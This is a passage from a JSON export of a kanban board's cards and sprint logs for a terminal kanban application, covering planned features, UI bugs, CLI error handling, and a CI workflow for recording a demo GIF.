            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327394Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374983Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264755Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784519Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374983Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742999610Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784519Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989192568Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742999813Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989192834Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "default sprint and branch prefixes",
        "updated_at": "2026-04-04T23:33:28.989193890Z"
      },
      {
        "card_number": 54,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-18T20:17:44.271652Z",
        "created_at": "2025-10-15T16:36:21.133233Z",
        "description": "in both the filtered task list and the sprint details. \n\nmake an output showing how many days there are left until the sprint ends\n\nif less than a day. show `hh:mm:ss`\n\nAfter finish show `+hh:mm:ss`\n",
        "due_date": null,
        "id": "1b503514-c96a-4ee7-83c4-4c4cd45b51a0",
        "points": 1,
        "position": 23,
        "priority": "Low",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155914Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "days left on sprint",
        "updated_at": "2025-10-18T20:17:44.271667Z"
      },
      {
        "card_number": 114,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-11-01T17:02:42.870686Z",
        "description": "2025-11-01 18:06:43\n---\n\nwe should do with migrations in a feature flag manner\n\nif a migration is detected for an instance of the application\n\nonly then should it be running for the application\n\nit should be encapsulted into an migration module that handles detecting if a migration is required to run based on the data and the current version\n\nwhen migrations are introduced we should extend the migration module with the migration\n\nthis also ties into any future changing of the data source\n\nas we currently use a json for the data.\n\nwe need to consider the decoupling of the data model from the code\n\nlike I would like the user to be able to choose saving into any database or file format.\n\nas long as an adapter for that format exists.\n\nuser defined or defined in the app. is this a plugin system?\n\nI didnt intend to create the decoupling card here together with the migration card but I do feel that a decoupling of the data model would be nice to have for doing migrations\n\n",
        "due_date": null,
        "id": "3791f095-3aee-456b-a42e-f5a18f102c20",
        "points": 4,
        "position": 23,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784570Z",
            "sprint_id": "c272f2b0-db50-4877-94db-dcdc06b84116",
            "sprint_name": "halloween",
            "sprint_number": 1,
            "started_at": "2025-11-01T17:25:56.359649Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743004962Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784571Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989060379Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743005178Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989061696Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "data migrations and decoupling of data model",
        "updated_at": "2026-04-04T23:33:28.989066053Z"
      },
      {
        "card_number": 23,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-17T06:21:24.897757Z",
        "created_at": "2025-10-11T19:51:35.009507Z",
        "description": null,
        "due_date": null,
        "id": "76411161-8bcf-47a3-b917-cadc706c6079",
        "points": 3,
        "position": 23,
        "priority": "Low",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155908Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "When inputting in the dialogues. Text is cut when going out of bounds for the iput box",
        "updated_at": "2025-10-17T06:21:24.897772Z"
      },
      {
        "card_number": 115,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-11-01T17:23:30.299863Z",
        "description": "2025-11-01 18:24:46\n---\n\nhitting enter on a board (example, an empty board. the ui does not give enough hints to the user that we have entered the board)\n\nThe board name is still green and has a circle around it \n\nTry removing the circle on active? or try making the board name non green \n",
        "due_date": null,
        "id": "a896867e-0123-4899-ad6c-afff9b80e32f",
        "points": 1,
        "position": 24,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:34.327398Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:58:38.066584Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264747Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327398Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374997Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264747Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784591Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374997Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743006718Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784591Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989175236Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743006923Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989175492Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "it is not apparent enough that we are entered into a board",
        "updated_at": "2026-04-04T23:33:28.989176652Z"
      },
      {
        "card_number": 0,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-21T21:20:21.085162Z",
        "created_at": "2025-10-10T08:47:57.834239Z",
        "description": "2025-10-20 17:35:49\n---\n\nThe ci woes continue\n\nThe current progress is that of \n\n---\n\n  New Idempotent Release Pipeline\n\n  Two new minimal scripts:\n  - aggregate-changesets.sh - Finds highest priority bump type (major > minor > patch)\n  - update-changelog.sh - Merges changesets into CHANGELOG.md with version header\n\n  Updated workflows:\n\n  1. aggregate-changesets.yml (on develop PR close):\n    - Aggregates all changesets into CHANGELOG.md\n    - Single version bump per release cycle\n    - Cleans up changesets\n    - Commits to develop\n  2. release.yml (on master PR close):\n    - Compares Cargo.toml version vs last git tag\n    - If version changed → publish & tag\n    - If version unchanged → skip (idempotent!)\n    - No changeset checking, no pushing back to master\n\n  Benefits:\n  - ✅ Idempotent: Version is source of truth, safe to re-run\n  - ✅ Maintainable: Simple version comparison logic\n  - ✅ Single version bump: One bump per release cycle\n  - ✅ Changelog preserved: Full history in CHANGELOG.md\n  - ✅ Zero race conditions: No pushing to trigger branch\n\n---\n\nMoving cards to and from columns also seem broken\n",
        "due_date": null,
        "id": "243615fe-fbcd-4d80-a88d-8173ec4b9573",
        "points": 1,
        "position": 24,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155904Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Fix the CI",
        "updated_at": "2025-10-21T21:20:21.085162Z"
      },
      {
        "card_number": 399,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-07T20:54:59.114273481Z",
        "description": "## Problem\n\nThe CLI currently returns raw or unhelpful errors when given wrong input. Example: passing `--status done` to `card update` (which has no such flag) gives a generic clap error with no hint of what to do instead. First-time users hitting these errors get no guidance.\n\n## Goal\n\nEvery error a user can trigger should be:\n- **Clear**: say what went wrong in plain language\n- **Actionable**: suggest the correct command or flag\n- **Consistent**: same tone and format across all subcommands\n\n## Areas to audit\n\n- Unknown/invalid flags (e.g. `--status` on `card update`)\n- Wrong argument types (e.g. non-UUID where UUID expected)\n- Entity not found (board, column, card, sprint) — include the identifier that was looked up\n- Missing required args — name the arg and show an example\n- File not found / unreadable kanban.json\n- Permission errors on kanban.json\n\n## Approach\n\n1. Audit all CLI subcommands for error paths that reach the user\n2. For each: write a test that triggers the error, assert on the message\n3. Improve the message to be clear and actionable\n4. Consider a shared error formatting layer in `kanban-cli` so tone stays consistent",
        "due_date": null,
        "id": "b0f35374-4136-454b-8506-d60ac1ab5606",
        "points": 3,
        "position": 24,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806928527Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Improve CLI error messages and user-facing error handling",
        "updated_at": "2026-05-07T21:58:57.806928854Z"
      },
      {
        "card_number": 127,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-11-04T00:22:03.948102Z",
        "description": null,
        "due_date": null,
        "id": "dfa9fcd6-23f9-4ed2-8c7e-9baf344a7d14",
        "points": 2,
        "position": 25,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264735Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245017Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374951Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264735Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784631Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374951Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743012251Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784632Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989104814Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743012558Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989105076Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "add filter for completed cards",
        "updated_at": "2026-04-04T23:44:57.050276300Z"
      },
      {
        "card_number": 400,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-07T21:01:37.437770936Z",
        "description": "## Problem\n\nEvery CLI command that references another entity requires a raw UUID, which no human knows by heart. Examples:\n\n- `card move KAN-12 --column-id c2a0d5e2-...` — user must look up the column UUID first\n- `card create --board-id e119c0... --column-id c1a0d5...` — two UUIDs before anything happens\n- `card assign-sprint KAN-12 --sprint-id 3e05b8...` — user must look up the sprint UUID\n\n## Goal\n\nAccept a name (or sprint number) anywhere a UUID is accepted today. UUID still works for scripting.\n\n## Resolution per flag\n\n- `--column-id`: accept column name (case-insensitive); look up board via card's column → board chain\n- `--board-id` on `card create`: accept board name (case-insensitive)\n- `--sprint-id` on `assign-sprint` / `assign-cards-to-sprint`: accept sprint name or sprint number (e.g. `13`)\n- `--column-id` on `card restore` and `move-cards`: same as move\n\n## Error UX\n\nWhen the name doesn't match, list available options:\n`Column 'done' not found. Available: TODO, Doing, Complete`\n\n## Scope\n\n`kanban-cli` only — no service or domain changes needed.",
        "due_date": null,
        "id": "b7a5ca63-d26b-432f-af69-6cf326d9e8f4",
        "points": 3,
        "position": 25,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806923027Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Accept entity names (not just UUIDs) in CLI --column-id, --board-id, --sprint-id args",
        "updated_at": "2026-05-07T21:58:57.806923527Z"
      },
      {
        "card_number": 153,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-20T10:09:44.351593Z",
        "description": "multi select is good and all. I think I would prefer the behaviour would be a toggle.\n\nso one could scroll to select multiple cards.\n\nbut what if one doesnt which to multi select cards in sequence?\n\nhow to handle either case? support both? `v` and `V` perhaps...\n",
        "due_date": null,
        "id": "d84ac61b-462e-40c6-b1c3-6b0589173ba1",
        "points": 1,
        "position": 26,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784523Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-28T08:47:10.923200Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743022712Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784523Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989159348Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743022965Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989159605Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "make multi select behave like a toggle",
        "updated_at": "2026-04-04T23:33:28.989160499Z"
      },
      {
        "card_number": 8,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-10T22:13:04.048521Z",
        "description": "Need to try the application to see how it behaves with different editors\n\n- VSCode\n- vim\n- vi\n- emacs\n\nWindows\n\n- notepad\n- notepad++\n",
        "due_date": null,
        "id": "86c1b649-03bc-4da8-87c3-e20a2c56a640",
        "points": 1,
        "position": 27,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784516Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155906Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742956765Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784516Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:32.357537003Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742960448Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:32.357538444Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Test the application with another editor",
        "updated_at": "2026-04-04T23:33:32.357541043Z"
      },
      {
        "card_number": 401,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-07T21:27:35.463432398Z",
        "description": "## Goal\n\nCI handles the compute-heavy recording. The human reviews the output before it ships. No auto-commit.\n\nOn every change to `demo/demo.tape` or `demo/fixtures/**`, CI records `demo.gif` and uploads it as a downloadable artifact. To ship it, run the workflow manually with `commit: true` — an explicit gate that separates \"record for review\" from \"record and push\".\n\n---\n\n## Trigger\n\n```yaml\non:\n  push:\n    branches: [master, develop]\n    paths:\n      - 'demo/demo.tape'\n      - 'demo/fixtures/**'\n  workflow_dispatch:\n    inputs:\n      commit:\n        description: 'Commit and push demo.gif after recording (only after manual review)'\n        type: boolean\n        default: false\n```\n\n---\n\n## Implementation\n\n### Nix shell\n\n`demo/shell.nix` already provides everything needed — `vhs`, `neovim`, and the `kanban` binary — via `nix develop .#demo`. No extra apt installs required.\n\n### EDITOR env var\n\n`demo/shell.nix`'s `shellHook` sets `EDITOR` to `demo/nvim-editor.sh`, but shellHooks don't run under `nix develop --command`. Set it explicitly in the job:\n\n```yaml\nenv:\n  EDITOR: ${{ github.workspace }}/demo/nvim-editor.sh\n```\n\n### Record and upload artifact\n\n```yaml\n- name: Record demo\n  run: nix develop .#demo --command bash demo/record.sh\n\n- name: Upload demo.gif artifact\n  uses: actions/upload-artifact@v4\n  with:\n    name: demo-gif\n    path: demo/demo.gif\n    retention-days: 14\n```\n\n### Commit and push (only when commit input is true)\n\n```yaml\n- name: Setup SSH deploy key\n  if: inputs.commit == true\n  run: |\n    mkdir -p ~/.ssh\n    echo \"${{ secrets.DEPLOY_KEY }}\" > ~/.ssh/deploy_key\n    chmod 600 ~/.ssh/deploy_key\n    ssh-keyscan github.com >> ~/.ssh/known_hosts\n\n- name: Configure Git\n  if: inputs.commit == true\n  run: |\n    git config user.name \"github-actions[bot]\"\n    git config user.email \"41898282+github-actions[bot]@users.noreply.github.com\"\n    git remote set-url origin git@github.com:fulsomenko/kanban.git\n\n- name: Commit and push demo.gif\n  if: inputs.commit == true\n  env:\n    GIT_SSH_COMMAND: \"ssh -i ~/.ssh/deploy_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no\"\n  run: |\n    git add demo/demo.gif\n    if git diff --cached --quiet; then\n      echo \"demo.gif unchanged, skipping commit\"\n    else\n      git commit -m \"chore(demo): re-record demo.gif\"\n      git push origin HEAD\n    fi\n```\n\n---\n\n## Workflow\n\n1. Push a tape/fixture change → CI records → download artifact from Actions → watch it\n2. Looks good → re-run workflow with `commit: true` → GIF pushed to repo\n3. Looks broken → fix the tape/fixture → repeat from step 1\n\n---\n\n## Why NOT to auto-commit on tape change\n\nThe demo GIF is a quality signal. A release that introduces a TUI regression (e.g. the selector not jumping to a newly created card — KAN-403) would cause the GIF to silently record and ship broken behaviour. Re-recording must be a deliberate, verified act.\n\n---\n\n## Risk: GIF non-determinism\n\nVHS output may differ pixel-by-pixel between runs even with identical input if system fonts differ. With Nix pinning the entire toolchain (vhs, neovim, fonts), output should be reproducible. Validate on first run: record once locally and once in CI, then compare. Non-determinism here only affects the artifact, not the repo — no spurious commits possible with this design.\n\n---\n\n## New file\n\n`.github/workflows/demo.yml`",
        "due_date": null,
        "id": "4ed0d977-7abf-4ca0-83ea-3f8d65b62438",
        "points": 2,
        "position": 27,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806931286Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "CI job: auto-record and commit demo.gif on tape changes",
        "updated_at": "2026-05-07T21:58:57.806931495Z"
      },
      {
        "card_number": 63,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-21T21:11:29.582640Z",
        "created_at": "2025-10-18T23:13:25.559834Z",
        "description": null,
        "due_date": null,
        "id": "6366fa7d-4e1b-4ba8-92fa-f38855af37eb",
        "points": 3,
        "position": 28,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155915Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "ci-side-tracked",
        "updated_at": "2025-10-21T21:11:29.582640Z"
      },
      {
        "card_number": 135,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-11-18T07:35:37.925459Z",
        "description": null,
        "due_date": null,
        "id": "eb98fd1c-78a5-4a11-8e3d-91a2a15fbfda",
        "points": 1,
        "position": 28,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264731Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245017Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374979Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264731Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784528Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374979Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743015746Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784528Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989082609Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743016037Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989083288Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "update package README.md's",
        "updated_at": "2026-04-04T23:33:28.989084935Z"
      },
      {
        "card_number": 7,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-21T21:47:36.557987Z",
        "created_at": "2025-10-10T22:11:25.809290Z",
        "description": "# At the board level. Be able to define columns\n\nDefault columns when creating a new board\n---\n- TODO\n- Doing\n- Complete\n\nFeatures\n---\n- Be able to change the name of columns\n- Be able to change order of columns\n- Be able to add new columns\n- Be able to remove columns\n- Be able to add tasks to column\n- Using 'c' is equivalent to moving a card to the last column. If there is only one column in a board, we can only set complete manually like the current implementation does.\n\nUI\n---\n- hitting `c` in Board Details opens up Columns. In columns we see one panel listing the columns in order.\n- In the \n\n### Task list\n\n- Be able to view tasks in column view grouped by columns\n- Be able to view tasks in list view grouped by columns\n- Be able to view the task list without columns (current behavior)\n- Extend the task list to have column task list\n- Extend the task list to have list grouped by columns\n- Choose which view is active in the task list panel by opening a list dialogue with the choices with `v`. The current view is saved to the board and loaded on startup.\n\nDupe of `KAN-31/update-status-of-a-card-board-columns`\n\nImplementation\n---\nImplementation Plan: Column Definitions at Board Level                                                                               │ │\n                                                                                                                                     │ │\nOverview                                                                                                                             │ │\n                                                                                                                                     │ │\nAdd full column management capabilities to the kanban board, allowing users to define, edit, reorder, and manage columns at the      │ │\nboard level. This includes default columns on board creation, a dedicated column management UI, and integration with task completion │ │\n workflows.                                                                                                                          │ │\n                                                                                                                                     │ │\nArchitecture Changes                                                                                                                 │ │\n                                                                                                                                     │ │\n1. Domain Layer (kanban-domain)                                                                                                      │ │\n                                                                                                                                     │ │\nFile: crates/kanban-domain/src/column.rs                                                                                             │ │\n- Add update_name(&mut self, name: String) method                                                                                    │ │\n- Add validation for column names (non-empty, unique within board)                                                                   │ │\n                                                                                                                                     │ │\nFile: crates/kanban-domain/src/board.rs                                                                                              │ │\n- Add default_column_definitions: Vec<String> field (default: [\"TODO\", \"Doing\", \"Complete\"])                                         │ │\n- Add task_list_view: TaskListView enum field (default: TaskListView::Flat)                                                          │ │\n- Add methods for column management at board level                                                                                   │ │\n                                                                                                                                     │ │\nNew: crates/kanban-domain/src/task_list_view.rs                                                                                      │ │\n- Define TaskListView enum: Flat, GroupedByColumn, ColumnView                                                                        │ │\n                                                                                                                                     │ │\n2. Application State (kanban-tui/src/app.rs)                                                                                         │ │\n                                                                                                                                     │ │\nAdd new AppMode variants:                                                                                                            │ │\n- ColumnManagement - Main column management view                                                                                     │ │\n- CreateColumn - Dialog for creating new column                                                                                      │ │\n- RenameColumn - Dialog for renaming column                                                                                          │ │\n- DeleteColumnConfirm - Confirmation dialog for column deletion                                                                      │ │\n- SelectTaskListView - Popup for selecting task list view type                                                                       │ │\n                                                                                                                                     │ │\nAdd new Focus enum:                                                                                                                  │ │\n- ColumnFocus with variants: ColumnList                                                                                              │ │\n                                                                                                                                     │ │\nAdd to App struct:                                                                                                                   │ │\n- column_selection: SelectionState - For navigating columns                                                                          │ │\n- active_column_index: Option<usize> - Currently selected column                                                                     │ │\n- task_list_view_selection: SelectionState - For view selection popup                                                                │ │\n                                                                                                                                     │ │\n3. UI Layer (kanban-tui/src/ui.rs)                                                                                                   │ │\n                                                                                                                                     │ │\nAdd rendering functions:                                                                                                             │ │\n- render_column_management_view() - Main column management interface                                                                 │ │\n- render_create_column_popup() - Column creation dialog                                                                              │ │\n- render_rename_column_popup() - Column rename dialog                                                                                │ │\n- render_delete_column_confirm_popup() - Deletion confirmation                                                                       │ │\n- render_select_task_list_view_popup() - View selection popup                                                                        │ │\n- Update render_tasks_panel() to support three view modes                                                                            │ │\n                                                                                                                                     │ │\n4. Handlers                                                                                                                          │ │\n                                                                                                                                     │ │\nNew: crates/kanban-tui/src/handlers/column_handlers.rs                                                                               │ │\n- handle_column_management_key() - Navigate and manage columns                                                                       │ │\n- handle_create_column_key() - Initiate column creation                                                                              │ │\n- handle_rename_column_key() - Initiate column renaming                                                                              │ │\n- handle_delete_column_key() - Delete column with 